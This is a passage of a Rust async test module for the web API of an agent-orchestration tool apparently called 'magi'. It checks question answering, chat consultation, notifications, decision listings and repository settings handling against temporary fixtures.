13533        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13534
13535        let list = fx.get("/api/questions").await.json();
13536        assert_eq!(list[0]["origin_chat"], Value::Null, "{list}");
13537
13538        let res = fx.post(&format!("/api/questions/{id}/consult"), None).await;
13539        assert_eq!(res.status, 409, "{}", res.body);
13540        let q = fx.questions().get(&id).unwrap();
13541        assert!(q.status.open());
13542        assert!(q.consult.is_none());
13543    }
13544
13545    #[tokio::test]
13546    async fn a_question_from_a_chat_task_names_its_chat_in_the_view() {
13547        let fx = Fixture::start().await;
13548        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13549        let cfg = Config {
13550            agents: vec![crate::config::AgentSpec {
13551                id: "mock".to_owned(),
13552                kind: crate::config::AgentKind::Command,
13553                model: None,
13554                command: vec!["true".to_owned()],
13555                extra_args: Vec::new(),
13556                env: Default::default(),
13557                prompt_delivery: None,
13558                max_turn_secs: None,
13559            }],
13560            ..Config::default()
13561        };
13562        let talk = crate::talk::begin(
13563            &fx.talks(),
13564            &cfg,
13565            fx.home.path().to_path_buf(),
13566            Some("mock"),
13567        )
13568        .unwrap();
13569        let mut task = Task::new(
13570            "t".to_owned(),
13571            "Do it".to_owned(),
13572            PathBuf::from("/repo/magi"),
13573            Source::Agent {
13574                run: talk.id.clone(),
13575                node: crate::queue::CHAT_NODE.to_owned(),
13576            },
13577        );
13578        task.start("20260902-000000-beef".to_owned());
13579        fx.queue().put(&mut task).unwrap();
13580
13581        let list = fx.get("/api/questions").await.json();
13582        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13583        assert_eq!(
13584            list[0]["choices"],
13585            serde_json::json!(["SQLite", "Redis"]),
13586            "the hand-over is never a choice"
13587        );
13588        fx.questions()
13589            .update(&id, |q| {
13590                q.node = crate::land::APPROVAL_NODE.into();
13591                q.choices = vec!["merge".into(), "hold".into()];
13592                Ok(())
13593            })
13594            .unwrap();
13595        let list = fx.get("/api/questions").await.json();
13596        assert_eq!(list[0]["origin_chat"], talk.id.as_str(), "{list}");
13597        assert_eq!(list[0]["can_consult_chat"], true);
13598        fx.questions()
13599            .update(&id, |q| {
13600                q.node = crate::bump::NOTICE_NODE.into();
13601                Ok(())
13602            })
13603            .unwrap();
13604        let list = fx.get("/api/questions").await.json();
13605        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13606        assert_eq!(list[0]["can_consult_chat"], false);
13607    }
13608
13609    #[tokio::test]
13610    async fn a_consult_that_cannot_read_its_config_leaves_nothing_to_retry_around() {
13611        let fx = Fixture::start().await;
13612        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13613        fx.questions()
13614            .update(&id, |q| {
13615                q.node = crate::land::APPROVAL_NODE.into();
13616                q.choices = vec!["merge".into(), "hold".into()];
13617                Ok(())
13618            })
13619            .unwrap();
13620        let cfg = Config {
13621            agents: vec![crate::config::AgentSpec {
13622                id: "mock".to_owned(),
13623                kind: crate::config::AgentKind::Command,
13624                model: None,
13625                command: vec!["true".to_owned()],
13626                extra_args: Vec::new(),
13627                env: Default::default(),
13628                prompt_delivery: None,
13629                max_turn_secs: None,
13630            }],
13631            ..Config::default()
13632        };
13633        // Not a git working tree, so its `magi.toml` is read from disk.
13634        let repo = fx.home.path().join("chat-repo");
13635        std::fs::create_dir_all(&repo).unwrap();
13636        let toml = repo.join("magi.toml");
13637        std::fs::write(&toml, "this is = = not toml").unwrap();
13638        let talk = crate::talk::begin(&fx.talks(), &cfg, repo.clone(), Some("mock")).unwrap();
13639        let mut task = Task::new(
13640            "t".to_owned(),
13641            "Do it".to_owned(),
13642            PathBuf::from("/repo/magi"),
13643            Source::Agent {
13644                run: talk.id.clone(),
13645                node: crate::queue::CHAT_NODE.to_owned(),
13646            },
13647        );
13648        task.start("20260902-000000-beef".to_owned());
13649        fx.queue().put(&mut task).unwrap();
13650
13651        let path = format!("/api/questions/{id}/consult");
13652        let res = fx.post(&path, None).await;
13653        assert!(res.status >= 400, "{}", res.body);
13654        assert!(fx.questions().get(&id).unwrap().consult.is_none());
13655        assert!(fx.talks().get(&talk.id).unwrap().pending.is_empty());
13656
13657        std::fs::write(&toml, "").unwrap();
13658        let res = fx.post(&path, None).await;
13659        assert_eq!(res.status, 202, "{}", res.body);
13660        assert!(fx.questions().get(&id).unwrap().consult.is_some());
13661        let q = fx.questions().get(&id).unwrap();
13662        assert!(q.status.open());
13663        assert!(q.answer.is_none());
13664        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13665        assert_eq!(res.json()["can_consult_chat"], true);
13666        let list = fx.get("/api/questions").await.json();
13667        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13668        assert_eq!(list[0]["consult"]["talk"], talk.id.as_str());
13669
13670        let res = fx
13671            .post(
13672                &format!("/api/questions/{id}/answer"),
13673                Some(r#"{"choice":"hold"}"#),
13674            )
13675            .await;
13676        assert_eq!(res.status, 200, "{}", res.body);
13677        assert_eq!(res.json()["answer"]["choice"], "hold");
13678        assert_eq!(res.json()["origin_chat"], talk.id.as_str());
13679        assert_eq!(res.json()["can_consult_chat"], false);
13680        assert_eq!(fx.post(&path, None).await.status, 409);
13681
13682        let mut talk = fx.talks().get(&talk.id).unwrap();
13683        // This test closes the history view, not an unconsumed consultation.
13684        crate::talk::clear_pending(&mut talk, &fx.talks()).unwrap();
13685        crate::talk::close(&mut talk, &fx.talks()).unwrap();
13686        let list = fx.get("/api/questions").await.json();
13687        assert_eq!(list[0]["origin_chat"], talk.id.as_str());
13688        assert_eq!(list[0]["origin_chat_closed"], true);
13689        assert_eq!(list[0]["can_consult_chat"], false);
13690
13691        fx.talks().remove(&talk.id).unwrap();
13692        let list = fx.get("/api/questions").await.json();
13693        assert_eq!(list[0]["origin_chat"], Value::Null);
13694        assert_eq!(list[0]["origin_chat_closed"], false);
13695        assert_eq!(list[0]["can_consult_chat"], false);
13696    }
13697
13698    #[tokio::test]
13699    async fn asking_back_clears_the_owner_count_until_the_agent_replies() {
13700        let fx = Fixture::start().await;
13701        let store = fx.questions();
13702        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13703        store.beat(&id, ask::WaiterKind::Asker);
13704        assert_eq!(
13705            fx.get("/api/health").await.json()["questions_needs_owner"],
13706            1
13707        );
13708
13709        // The owner asks back instead of deciding: the ask bar, the nav badge
13710        // and the title must stop naming this question, because there is
13711        // nothing to decide until the agent answers - `status` alone cannot
13712        // say that, which is the whole reason `questions_needs_owner` exists
13713        // alongside `questions_open`.
13714        let res = fx
13715            .post(
13716                &format!("/api/questions/{id}/say"),
13717                Some(r#"{"body":"why not Postgres?"}"#),
13718            )
13719            .await;
13720        assert_eq!(res.status, 200, "{}", res.body);
13721        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13722        assert_eq!(
13723            fx.get("/api/health").await.json()["questions_needs_owner"],
13724            0,
13725            "waiting on the agent is not waiting on the owner"
13726        );
13727
13728        // `magi ask --thread` replying is what brings the owner count back -
13729        // the same event that would resume the CLI call blocked in `magi
13730        // ask`.
13731        let mut q = store.get(&id).expect("get");
13732        q.reply("because SQLite needs no server", vec!["SQLite".to_owned()])
13733            .expect("reply");
13734        store.put(&mut q).expect("put");
13735        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13736        assert_eq!(
13737            fx.get("/api/health").await.json()["questions_needs_owner"],
13738            1,
13739            "the agent's reply is what should light the banner back up"
13740        );
13741    }
13742
13743    #[tokio::test]
13744    async fn saying_something_is_refused_when_empty_answered_or_abandoned() {
13745        let fx = Fixture::start().await;
13746        let store = fx.questions();
13747
13748        let empty_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13749        let res = fx
13750            .post(
13751                &format!("/api/questions/{empty_id}/say"),
13752                Some(r#"{"body":"   "}"#),
13753            )
13754            .await;
13755        assert_eq!(res.status, 400, "{}", res.body);
13756
13757        let answered_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13758        let mut answered = store.get(&answered_id).expect("get");
13759        answered
13760            .answer(Answer::Choice("SQLite".to_owned()))
13761            .expect("answer");
13762        store.put(&mut answered).expect("put");
13763        let res = fx
13764            .post(
13765                &format!("/api/questions/{answered_id}/say"),
13766                Some(r#"{"body":"still there?"}"#),
13767            )
13768            .await;
13769        assert_eq!(res.status, 409, "{}", res.body);
13770
13771        let abandoned_id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13772        let mut abandoned = store.get(&abandoned_id).expect("get");
13773        abandoned.abandon("timed out");
13774        store.put(&mut abandoned).expect("put");
13775        let res = fx
13776            .post(
13777                &format!("/api/questions/{abandoned_id}/say"),
13778                Some(r#"{"body":"still there?"}"#),
13779            )
13780            .await;
13781        assert_eq!(res.status, 409, "{}", res.body);
13782    }
13783
13784    #[tokio::test]
13785    async fn historical_release_2029_api_retains_answer_and_refuses_controls() {
13786        let fx = Fixture::start().await;
13787        let questions = fx.questions();
13788        let mut q = Question::new(
13789            String::new(),
13790            crate::bump::NOTICE_NODE.into(),
13791            "release-watch".into(),
13792            "Release PR approval".into(),
13793            "Saved head".into(),
13794            vec!["merge".into(), "hold".into()],
13795        );
13796        q.id = "20261109-014940-871849981cd969b1-0000000000000000-2029".into();
13797        q.merge_target = Some(crate::merge_decision::Target {
13798            pr: "https://example.test/mebae/pull/100".into(),
13799            head: "4d5a46f99a678608d2b883498d8bebd9399c0261".into(),
13800            language: "en".into(),
13801        });
13802        q.answer(Answer::Choice("merge".into())).unwrap();
13803        q.answer_delivered = true;
13804        questions.put(&mut q).unwrap();
13805        let dir = fx.home.path().join("notifications/task-chat-migration-v1");
13806        std::fs::create_dir_all(&dir).unwrap();
13807        std::fs::write(
13808            dir.join("state.json"),
13809            serde_json::to_vec(&serde_json::json!({
13810                "schema": 1, "sources": [q.id], "pending": [q.id]
13811            }))
13812            .unwrap(),
13813        )
13814        .unwrap();
13815        let bytes = std::fs::read(questions.path_of(&q.id)).unwrap();
13816        for migrated in [false, true] {
13817            if migrated {
13818                crate::task_chat::sweep(&fx.queue(), &fx.talks(), &questions, fx.home.path());
13819            }
13820            for endpoint in ["/api/questions", "/api/questions/core"] {
13821                let response = fx.get(endpoint).await;
13822                assert_eq!(response.status, 200);
13823                let rows = response.json();
13824                let row = rows
13825                    .as_array()
13826                    .unwrap()
13827                    .iter()
13828                    .find(|r| r["id"] == q.id)
13829                    .unwrap();
13830                assert_eq!(row["status"], "answered");
13831                assert_eq!(row["answer"]["choice"], "merge");
13832                assert_eq!(row["can_answer"], false);
13833                assert_eq!(row["history_only"], true);
13834            }
13835            let answer = fx
13836                .post(
13837                    &format!("/api/questions/{}/answer", q.id),
13838                    Some(r#"{"choice":"merge"}"#),
13839                )
13840                .await;
13841            assert_eq!(answer.status, 409, "{}", answer.body);
13842            assert_eq!(std::fs::read(questions.path_of(&q.id)).unwrap(), bytes);
13843        }
13844    }
13845
13846    #[tokio::test]
13847    async fn an_answer_the_question_does_not_offer_is_refused() {
13848        let fx = Fixture::start().await;
13849        let id = ask(&fx, "Which backend?", &["SQLite", "Redis"]);
13850        let path = format!("/api/questions/{id}/answer");
13851
13852        for body in [
13853            r#"{"choice":"Postgres"}"#,
13854            r#"{"text":"whatever you think"}"#,
13855            r#"{"choice":"Redis","text":"both"}"#,
13856            r#"{}"#,
13857        ] {
13858            let res = fx.post(&path, Some(body)).await;
13859            assert_eq!(res.status, 400, "{body} should be refused: {}", res.body);
13860            assert!(res.json()["error"].is_string(), "{}", res.body);
13861        }
13862        // Nothing above may have answered it.
13863        assert_eq!(fx.get("/api/health").await.json()["questions_open"], 1);
13864    }
13865
13866    #[tokio::test]
13867    async fn a_free_text_question_takes_text_and_not_a_choice() {
13868        let fx = Fixture::start().await;
13869        let id = ask(&fx, "What should the flag be called?", &[]);
13870        fx.questions().beat(&id, ask::WaiterKind::Asker);
13871        let path = format!("/api/questions/{id}/answer");
13872
13873        assert_eq!(
13874            fx.post(&path, Some(r#"{"choice":"--json"}"#)).await.status,
13875            400
13876        );
13877        let res = fx.post(&path, Some(r#"{"text":"--json"}"#)).await;
13878        assert_eq!(res.status, 200, "{}", res.body);
13879        assert_eq!(res.json()["answer"]["text"], "--json");
13880    }
13881
13882    #[tokio::test]
13883    async fn an_unknown_question_is_a_json_404() {
13884        let fx = Fixture::start().await;
13885        let res = fx
13886            .post("/api/questions/nope/answer", Some(r#"{"text":"x"}"#))
13887            .await;
13888        assert_eq!(res.status, 404, "{}", res.body);
13889        assert!(res.json()["error"].is_string());
13890    }
13891
13892    #[tokio::test]
13893    async fn notifications_resolve_live_questions_without_changing_saved_notices() {
13894        let fx = Fixture::start().await;
13895        let questions = Questions::at(fx.home.path().join("questions"));
13896        let store = Notices::at(fx.home.path().join("notifications"));
13897        let mut q = ask::Question::new(
13898            "t1".into(),
13899            "conduct".into(),
13900            "conductor".into(),
13901            "Continue?".into(),
13902            String::new(),
13903            Vec::new(),
13904        );
13905        questions.put(&mut q).unwrap();
13906        let mut n = Notice::warn("task:t1", "Task t1 is held.");
13907        n.covered_by = Some(q.id.clone());
13908        let n = store.raise(n).unwrap();
13909        let listed = fx.get("/api/notifications").await.json();
13910        assert_eq!(listed["items"][0]["answerable_question"], q.id);
13911        questions
13912            .update(&q.id, |q| {
13913                q.abandon("run gone");
13914                Ok(())
13915            })
13916            .unwrap();
13917        let listed = fx.get("/api/notifications").await.json();
13918        assert!(listed["items"][0]["answerable_question"].is_null());
13919        assert_eq!(store.get(&n.id).unwrap().covered_by, Some(q.id));
13920        assert!(
13921            !std::fs::read_to_string(store.root().join(format!("{}.json", n.id)))
13922                .unwrap()
13923                .contains("answerable_question")
13924        );
13925    }
13926
13927    #[tokio::test]
13928    async fn decisions_list_reports_unreadable_records_without_hiding_pending_items() {
13929        let fx = Fixture::start().await;
13930        let outbox = crate::task_inquiry::Outbox::at(fx.home.path());
13931        let task = crate::queue::Task::new(
13932            "work".into(),
13933            "work".into(),
13934            fx.home.path().into(),
13935            crate::queue::Source::Human,
13936        );
13937        let inquiry = outbox
13938            .file(&task, None, "test".into(), "入力待ち", "詳細")
13939            .unwrap();
13940        let root = fx.home.path().join("notifications/task-inquiries");
13941        std::fs::write(root.join("broken.json"), "{").unwrap();
13942        let mut unsupported = inquiry.clone();
13943        unsupported.id = "unsupported".into();
13944        unsupported.schema = 99;
13945        std::fs::write(
13946            root.join("unsupported.json"),
13947            serde_json::to_vec(&unsupported).unwrap(),
13948        )
13949        .unwrap();
13950        let before = std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap();
13951        for _ in 0..2 {
13952            let response = fx.get("/api/decisions").await;
13953            assert_eq!(response.status, 200, "{}", response.body);
13954            let listed = response.json();
13955            assert_eq!(listed["unreadable"], 2);
13956            assert_eq!(listed["items"].as_array().unwrap().len(), 1);
13957            assert_eq!(listed["items"][0]["id"], inquiry.id);
13958            assert_eq!(listed["items"][0]["decision"]["status"], "awaiting_owner");
13959        }
13960        assert_eq!(
13961            before,
13962            std::fs::read(root.join(format!("{}.json", inquiry.id))).unwrap()
13963        );
13964        assert!(outbox.list().is_err());
13965        std::fs::remove_file(root.join("broken.json")).unwrap();
13966        std::fs::remove_file(root.join("unsupported.json")).unwrap();
13967        assert_eq!(fx.get("/api/decisions").await.json()["unreadable"], 0);
13968    }
13969
13970    #[tokio::test]
13971    async fn decisions_list_exposes_migration_errors_without_acknowledging_them() {
13972        let fx = Fixture::start().await;
13973        let root = fx.home.path().join("notifications/task-chat-migration-v1");
13974        std::fs::create_dir_all(&root).unwrap();
13975        let journal = serde_json::json!({
13976            "schema": 1, "pending": ["saved-inquiry"],
13977            "errors": {"saved-inquiry": "Source is unreadable; no action executed"}
13978        });
13979        let bytes = serde_json::to_vec(&journal).unwrap();
13980        std::fs::write(root.join("state.json"), &bytes).unwrap();
13981        for _ in 0..2 {
13982            let response = fx.get("/api/decisions").await;
13983            assert_eq!(response.status, 200);
13984            let listed = response.json();
13985            assert_eq!(listed["migration_errors"][0]["id"], "saved-inquiry");
13986            assert!(listed["items"].as_array().unwrap().is_empty());
13987            assert_eq!(std::fs::read(root.join("state.json")).unwrap(), bytes);
13988        }
13989        // An unreadable journal must not make the endpoint hide the list.
13990        std::fs::write(root.join("state.json"), b"{").unwrap();
13991        let response = fx.get("/api/decisions").await;
13992        assert_eq!(response.status, 200);
13993        assert_eq!(response.json()["migration_errors"][0]["id"], "migration");
13994    }
13995
13996    #[tokio::test]
13997    async fn notifications_list_read_dismiss_and_health_agree() {
13998        let fx = Fixture::start().await;
13999        let store = Notices::at(fx.home.path().join("notifications"));
14000        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 0);
14001        let rev0 = fx.get("/api/health").await.json()["notifications_rev"].clone();
14002
14003        let a = store.raise(Notice::warn("task:1", "held")).unwrap();
14004        let b = store.raise(Notice::error("run:2", "blocked")).unwrap();
14005
14006        store
14007            .raise(Notice::warn("deputy:deleted-question", "obsolete warning"))
14008            .unwrap();
14009        let health = fx.get("/api/health").await.json();
14010        assert_eq!(health["notifications_unread"], 2);
14011        assert_ne!(
14012            health["notifications_rev"], rev0,
14013            "the badge must move live"
14014        );
14015
14016        let listed = fx.get("/api/notifications").await.json();
14017        assert_eq!(listed["unread"], 2);
14018        assert_eq!(listed["items"].as_array().unwrap().len(), 2);
14019        assert_eq!(listed["items"][0]["severity"], "error", "newest first");
14020
14021        let read = fx
14022            .post(&format!("/api/notifications/{}/read", a.id), None)
14023            .await;
14024        assert_eq!(read.status, 200, "{}", read.body);
14025        assert_eq!(fx.get("/api/notifications").await.json()["unread"], 1);
14026
14027        let gone = fx
14028            .post(&format!("/api/notifications/{}/dismiss", b.id), None)
14029            .await;
14030        assert_eq!(gone.status, 200, "{}", gone.body);
14031        let listed = fx.get("/api/notifications").await.json();
14032        assert_eq!(listed["items"].as_array().unwrap().len(), 1);
14033        assert_eq!(listed["unread"], 0);
14034
14035        store.raise(Notice::info("x", "again")).unwrap();
14036        let all = fx.post("/api/notifications/read-all", None).await;
14037        assert_eq!(all.status, 200, "{}", all.body);
14038        assert_eq!(all.json()["marked"], 1);
14039        assert_eq!(
14040            fx.get("/api/health").await.json()["notifications_unread"],
14041            0
14042        );
14043
14044        let missing = fx.post("/api/notifications/nope/read", None).await;
14045        assert_eq!(missing.status, 404, "{}", missing.body);
14046        assert!(missing.json()["error"].is_string());
14047    }
14048
14049    /// New work reaches the queue through `magi task add`, a standing talk's
14050    /// `magi task add --solo`, or the CLI - never a raw `POST /api/queue` -
14051    /// so the compose form and that route are gone. The tests that covered
14052    /// that route's validation went with it, and nothing was left asserting
14053    /// it stays gone — so a re-added handler would silently let the phone
14054    /// file briefs no one validated.
14055    #[tokio::test]
14056    async fn a_task_cannot_be_filed_over_the_phone_directly() {
14057        let f = Fixture::start().await;
14058
14059        let res = f
14060            .post(
14061                "/api/queue",
14062                Some(r#"{"instruction":"Add a --json flag to magi list"}"#),
14063            )
14064            .await;
14065
14066        assert_eq!(
14067            res.status, 405,
14068            "POST /api/queue must not be a route: {}",
14069            res.body
14070        );
14071        assert!(
14072            f.queue().list().is_empty(),
14073            "a task filed by a route that does not exist must not reach the disk"
14074        );
14075        // The path itself is still served — the Queue view reads it — and the
14076        // per-task controls are untouched by the entry being removed.
14077        assert_eq!(f.get("/api/queue").await.status, 200);
14078    }
14079
14080    /// `<repo>/host/owner/repo/.git`, the ghq layout [`repos::scan`] expects.
14081    fn make_checkout(root: &FsPath, host: &str, owner: &str, repo: &str) {
14082        std::fs::create_dir_all(root.join(host).join(owner).join(repo).join(".git"))
14083            .expect("checkout dir");
14084    }
14085
14086    /// Two command agents, so a config needs no real CLI.
14087    const SETTINGS_AGENTS: &str = "[[agents]]\nid = \"a\"\nkind = \"command\"\ncommand = [\"true\"]\n\n[[agents]]\nid = \"b\"\nkind = \"command\"\ncommand = [\"true\"]\n";
14088
14089    fn settings_dirs(repo_toml: &str, machine_toml: Option<&str>) -> (TempDir, PathBuf, PathBuf) {
14090        let tmp = TempDir::new().expect("tempdir");
14091        let repo = tmp.path().join("repo");
14092        std::fs::create_dir_all(&repo).expect("repo dir");
14093        std::fs::write(repo.join("magi.toml"), repo_toml).expect("repo toml");
14094        let machine = tmp.path().join("cfg").join("magi").join("config.toml");
14095        if let Some(text) = machine_toml {
14096            std::fs::create_dir_all(machine.parent().expect("parent")).expect("cfg dir");
14097            std::fs::write(&machine, text).expect("machine toml");
14098        }
14099        (tmp, repo, machine)
14100    }
14101
14102    async fn settings_checkout(path: &FsPath, text: &str) {
14103        std::fs::create_dir_all(path).unwrap();
14104        std::fs::write(path.join("magi.toml"), text).unwrap();
14105        for args in [
14106            vec!["init", "-b", "main"],
14107            vec!["add", "magi.toml"],
14108            vec![
14109                "-c",
14110                "user.name=Test",
14111                "-c",
14112                "user.email=test@example.invalid",
14113                "commit",
14114                "-m",
14115                "fixture",
14116            ],
14117            vec!["update-ref", "refs/remotes/origin/main", "HEAD"],
14118            vec![
14119                "symbolic-ref",
14120                "refs/remotes/origin/HEAD",
14121                "refs/remotes/origin/main",
14122            ],
14123        ] {
14124            crate::git::git(path, &args).await.unwrap();
14125        }
14126    }
14127
14128    #[tokio::test]
14129    async fn settings_context_handlers_validate_and_save_without_a_socket() {
14130        let (tmp, repo, machine) =
14131            settings_dirs("[roles]\nreviewers = [\"a\"]\n", Some(SETTINGS_AGENTS));
14132        let root = tmp.path().join("roots");
14133        let selected = root.join("host/owner/selected");
14134        settings_checkout(
14135            &selected,
14136            "[roles]\nconductor = \"b\"\n[graph]\njudges = 2\n",
14137        )
14138        .await;
14139        std::fs::write(&machine, format!("{SETTINGS_AGENTS}\n[roles]\nconductor = \"a\"\n[graph]\njudges = 1\n[repos]\nroots = [{}]\nscan_ttl = 3600\n", toml::Value::String(root.display().to_string()))).unwrap();
14140        let before = std::fs::read(&machine).unwrap();
14141        let ui = Arc::new(
14142            Ui::new(
14143                Queue::at(tmp.path().join("queue")),
14144                Questions::at(tmp.path().join("questions")),
14145                Talks::at(tmp.path().join("talks")),
14146                tmp.path().join("runs"),
14147                tmp.path().to_path_buf(),
14148                repo.clone(),
14149            )
14150            .with_machine_config(Some(machine.clone())),
14151        );
14152        let query = || {
14153            Query(SettingsQuery {
14154                repo: Some(selected.clone()),
14155            })
14156        };
14157        let Json(v) = settings_get(State(ui.clone()), query()).await.unwrap();
14158        assert!(v.error.is_none(), "{:?}", v.error);
14159        let conductor = v.roles.iter().find(|r| r.key == "conductor").unwrap();
14160        assert_eq!(conductor.source, "repo");
14161        assert_eq!(
14162            conductor.machine_value,
14163            Some(toml::Value::String("a".into()))
14164        );
14165        assert!(!conductor.editable);
14166        let judges = v.roles.iter().find(|r| r.key == "judges").unwrap();
14167        assert_eq!(
14168            judges.count.as_ref().unwrap().machine_value,
14169            Some(toml::Value::Integer(1))
14170        );
14171        assert!(
14172            !v.roles
14173                .iter()
14174                .find(|r| r.key == "reviewers")
14175                .unwrap()
14176                .editable
14177        );
14178        let unknown = || {
14179            Query(SettingsQuery {
14180                repo: Some(tmp.path().to_path_buf()),
14181            })
14182        };
14183        assert_eq!(
14184            settings_get(State(ui.clone()), unknown())
14185                .await
14186                .unwrap_err()
14187                .status,
14188            StatusCode::UNPROCESSABLE_ENTITY
14189        );
14190        let body = || {
14191            Ok(Json(RolesBody {
14192                revision: v.revision.clone(),
14193                roles: std::collections::BTreeMap::from([("judges".into(), vec!["b".into()])]),
14194                counts: Default::default(),
14195            }))
14196        };
14197        assert_eq!(
14198            settings_put_roles(State(ui.clone()), unknown(), body())
14199                .await
14200                .unwrap_err()
14201                .status,
14202            StatusCode::UNPROCESSABLE_ENTITY
14203        );
14204        assert_eq!(std::fs::read(&machine).unwrap(), before);
14205        let Json(saved) = settings_put_roles(State(ui.clone()), query(), body())
14206            .await
14207            .unwrap();
14208        assert_eq!(
14209            saved.repo,
14210            selected.canonicalize().unwrap().display().to_string()
14211        );
14212        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14213        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14214        // A cache miss refreshes the stable candidate list exactly for validation.
14215        let fresh = root.join("host/owner/fresh");
14216        settings_checkout(&fresh, "[graph]\nadvisors = 0\n").await;
14217        let Json(fresh_view) = settings_get(State(ui), Query(SettingsQuery { repo: Some(fresh) }))
14218            .await
14219            .unwrap();
14220        assert_eq!(fresh_view.repositories.len(), 3);
14221    }
14222
14223    #[tokio::test]
14224    async fn settings_context_selector_validates_paths_and_preserves_all_checkouts() {
14225        let (tmp, repo, machine) = settings_dirs(
14226            "[roles]\nreviewers = [\"a\"]\n",
14227            Some(&format!("{SETTINGS_AGENTS}\n[graph]\njudges = 1\n")),
14228        );
14229        let root = tmp.path().join("roots");
14230        let selected = root.join("host/owner/selected");
14231        settings_checkout(
14232            &selected,
14233            "[roles]\nadvisors = [\"b\"]\n[graph]\njudges = 2\n",
14234        )
14235        .await;
14236        let broken = root.join("host/owner/broken");
14237        settings_checkout(&broken, "[roles\nbroken").await;
14238        let machine_text = format!(
14239            "{SETTINGS_AGENTS}\n[graph]\njudges = 1\n[repos]\nroots = [{}]\n",
14240            toml::Value::String(root.display().to_string())
14241        );
14242        std::fs::write(&machine, &machine_text).unwrap();
14243        let originals: Vec<_> = [&repo, &selected, &broken]
14244            .iter()
14245            .map(|p| std::fs::read(p.join("magi.toml")).unwrap())
14246            .collect();
14247        let f = Fixture::with_repo_and_machine(repo.clone(), machine.clone()).await;
14248        let default = f.get("/api/settings").await.json();
14249        assert_eq!(
14250            default["repo"],
14251            repo.canonicalize().unwrap().display().to_string()
14252        );
14253        assert_eq!(default["repositories"].as_array().unwrap().len(), 3);
14254        let query = format!("?repo={}", selected.display());
14255        let res = f.get(&format!("/api/settings{query}")).await;
14256        assert_eq!(res.status, 200, "{}", res.body);
14257        let v = res.json();
14258        assert!(v["error"].is_null(), "{v}");
14259        assert_eq!(v["repositories"], default["repositories"]);
14260        let role = |key: &str| {
14261            v["roles"]
14262                .as_array()
14263                .unwrap()
14264                .iter()
14265                .find(|r| r["key"] == key)
14266                .unwrap()
14267        };
14268        assert_eq!(role("advisors")["configured"], serde_json::json!(["b"]));
14269        assert_eq!(role("advisors")["source"], "repo");
14270        assert_eq!(role("advisors")["editable"], false);
14271        assert!(role("advisors")["machine_value"].is_null());
14272        assert_eq!(role("judges")["count"]["value"], 2);
14273        assert_eq!(role("judges")["count"]["machine_value"], 1);
14274        assert_eq!(role("judges")["count"]["source"], "repo");
14275        let source = role("judges")["count"]["source_path"].as_str().unwrap();
14276        assert!(
14277            source.contains("origin/main") && !source.contains("magi/config/"),
14278            "{source}"
14279        );
14280        assert_eq!(
14281            role("reviewers")["editable"],
14282            false,
14283            "default context outside roots must protect its declarations"
14284        );
14285        let body =
14286            serde_json::json!({"revision": v["revision"], "roles": {"judges": ["b"]}}).to_string();
14287        let unknown = format!("?repo={}", tmp.path().display());
14288        assert_eq!(f.get(&format!("/api/settings{unknown}")).await.status, 422);
14289        assert_eq!(
14290            f.put(&format!("/api/settings/roles{unknown}"), &body)
14291                .await
14292                .status,
14293            422
14294        );
14295        assert_eq!(std::fs::read_to_string(&machine).unwrap(), machine_text);
14296        let refuse = serde_json::json!({"revision": v["revision"], "roles": {"reviewers": ["b"]}})
14297            .to_string();
14298        assert_eq!(
14299            f.put(&format!("/api/settings/roles{query}"), &refuse)
14300                .await
14301                .status,
14302            422
14303        );
14304        let saved = f.put(&format!("/api/settings/roles{query}"), &body).await;
14305        assert_eq!(saved.status, 200, "{}", saved.body);
14306        assert_eq!(saved.json()["repo"], v["repo"]);
14307        assert!(settings::repository_config(&repo, Some(&machine)).is_ok());
14308        assert!(settings::repository_config(&selected, Some(&machine)).is_ok());
14309        for (p, before) in [&repo, &selected, &broken].iter().zip(originals) {
14310            assert_eq!(std::fs::read(p.join("magi.toml")).unwrap(), before);
14311        }
14312        let error = f
14313            .get(&format!("/api/settings?repo={}", broken.display()))
14314            .await;
14315        assert_eq!(error.status, 200);
14316        assert!(error.json()["error"]["message"].is_string());
14317        assert_eq!(error.json()["repositories"], default["repositories"]);
14318    }
14319
14320    #[tokio::test]
14321    async fn settings_get_reports_sources_and_the_advisors_fallback() {
14322        let (_tmp, repo, machine) =
14323            settings_dirs(SETTINGS_AGENTS, Some("[roles]\njudges = [\"b\"]\n"));
14324        let f = Fixture::with_repo_and_machine(repo, machine).await;
14325        let res = f.get("/api/settings").await;
14326        assert_eq!(res.status, 200, "{}", res.body);
14327        let v = res.json();
14328        assert!(v["error"].is_null(), "{v}");
14329        let role = |k: &str| {
14330            v["roles"]
14331                .as_array()
14332                .and_then(|r| r.iter().find(|x| x["key"] == k))
14333                .cloned()
14334                .unwrap_or_else(|| panic!("no role {k}: {v}"))
14335        };
14336        assert_eq!(role("judges")["source"], "machine");
14337        assert_eq!(role("judges")["editable"], true);
14338        assert_eq!(role("implementers")["source"], "default");
14339        let adv = role("advisors");
14340        assert_eq!(adv["fallback"], "judges");
14341        assert!(
14342            adv["seats"]
14343                .as_array()
14344                .is_some_and(|s| s.iter().all(|x| x == "b")),
14345            "{adv}"
14346        );
14347        assert_eq!(v["agents"].as_array().map(Vec::len), Some(2));
14348        assert_eq!(v["agents"][0]["source"], "repo");
14349    }
14350
14351    #[tokio::test]
14352    async fn settings_get_reports_a_config_that_does_not_parse() {
14353        let (_tmp, repo, machine) = settings_dirs("[roles\nbroken", None);
14354        let f = Fixture::with_repo_and_machine(repo, machine).await;
14355        let res = f.get("/api/settings").await;
14356        assert_eq!(res.status, 200, "{}", res.body);
14357        let v = res.json();
14358        assert!(v["error"]["message"].is_string(), "{v}");
14359        assert!(
14360            v["error"]["path"]
14361                .as_str()
14362                .is_some_and(|p| p.ends_with("magi.toml")),
